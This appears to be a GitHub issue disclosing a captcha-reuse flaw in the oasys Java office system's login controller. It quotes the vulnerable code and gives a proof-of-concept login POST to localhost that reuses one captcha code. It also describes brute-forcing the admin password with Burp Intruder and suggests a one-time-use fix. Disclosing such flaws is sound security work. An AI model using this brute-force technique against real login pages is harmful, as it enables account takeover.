oasys icon indicating copy to clipboard operation
oasys copied to clipboard

Verification Code Reuse--misstt123\oasys

Open majic-banana opened this issue 1 year ago • 0 comments

Verification Code Reuse--misstt123\oasys

[Logic Vulnerability]

Project Url

This vulnerability can lead to burst attacks, which poses a threat to user information

Vulnerable File

cn.gson.oasys.controller.login.LoginsControler;
	@RequestMapping(value="logins",method = RequestMethod.POST)
	public String loginCheck(HttpSession session,HttpServletRequest req,Model model) throws UnknownHostException{
		String userName=req.getParameter("userName").trim();
		String password=req.getParameter("password");
		String ca=req.getParameter("code").toLowerCase();
		String sesionCode = (String) req.getSession().getAttribute(CAPTCHA_KEY);
		model.addAttribute("userName", userName);
		if(!ca.equals(sesionCode.toLowerCase())){
			System.out.println("验证码输入错误!");
			model.addAttribute("errormess", "验证码输入错误!");
			req.setAttribute("errormess","验证码输入错误!");
			return "login/login";
		}
		/*
		 * 将用户名分开查找;用户名或者电话号码;
		 * */
		User user=uDao.findOneUser(userName, password);
		if(Objects.isNull(user)){
			System.out.println(user);
			System.out.println("账号或密码错误!");
			model.addAttribute("errormess", "账号或密码错误!");
			return "login/login";
		}
		System.out.println("是否被锁:"+user.getIsLock());
		if(user.getIsLock()==1){
			System.out.println("账号已被冻结!");
			model.addAttribute("errormess", "账号已被冻结!");
			return "login/login";
		}
		Object sessionId=session.getAttribute("userId");
		System.out.println(user);
		if(sessionId==user.getUserId()){
			System.out.println("当前用户已经登录了;不能重复登录");
			model.addAttribute("hasmess", "当前用户已经登录了;不能重复登录");
			session.setAttribute("thisuser", user);
			return "login/login";
		}else{
			session.setAttribute("userId", user.getUserId());
			Browser browser = UserAgent.parseUserAgentString(req.getHeader("User-Agent")).getBrowser();
			Version version = browser.getVersion(req.getHeader("User-Agent"));
			String info = browser.getName() + "/" + version.getVersion();
			String ip=InetAddress.getLocalHost().getHostAddress();
			/*新增登录记录*/
			ulService.save(new LoginRecord(ip, new Date(), info, user));
		}
		return "redirect:/index";

	@RequestMapping("captcha")
	public void captcha(HttpServletRequest request, HttpServletResponse response,HttpSession session) throws IOException{
		response.setHeader("Pragma", "No-cache");
		response.setHeader("Cache-Control", "no-cache");
		response.setDateHeader("Expires", 0);
		response.setContentType("image/jpeg");

		// 生成随机字串
		String verifyCode = VerifyCodeUtils.generateVerifyCode(4);
		
		// 生成图片
		int w = 135, h = 40;
		VerifyCodeUtils.outputImage(w, h, response.getOutputStream(), verifyCode);

		// 将验证码存储在session以便登录时校验
		session.setAttribute(CAPTCHA_KEY, verifyCode.toLowerCase());
	}

This function is responsible for generating verification codes and their corresponding images, and storing the verification codes in the session

Poc

Payload

POST /logins HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://127.0.0.1:8081
Connection: keep-alive
Referer: http://127.0.0.1:8081/logins
Cookie: remember-me=YWRtaW46MTcyNzU4Mzc0NjI5NDo4YzUzZTIwZWJhYTU4NTM0NzhhZjgzM2U3OTI0ODM3Zg; JSESSIONID=A280B9999F71B6D210E849B23B45DDE4
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

userName=admin&password=AnyPassword&code=2RE8

Request Process:

Client				Server   Behavior
  | ----"/logins"GET--------->   |		 	
  |				 |
  | <-----"login.html"--------   |		 
  |                              |       
  | ------"/capture"--------->   |       The server generates a verification code 
  |				 |		  and stores it in the session
  |				 |
  | <-----"capture.png"-------   |
  |				 |
  | ----"/logins"POST--------->  |       The client sends payloads repeatedly, causing a burst attack,
  |      			 |	 because the capture stored in session is never changed.
  | ----"/logins"POST--------->  |
  |	        ....	         |

Attack Simulation

Correct password:123456

Burp->intruder:

Image

Result

Image

Success!

Possible Solutions

  1. set a session attribute: isCodeUsed
  2. After generating the capture and passing it into the session, set isCodeUsed as false
  3. After each verification, whether the verification code is correct or not, set isCodeUsed as true

majic-banana avatar Jan 18 '25 08:01 majic-banana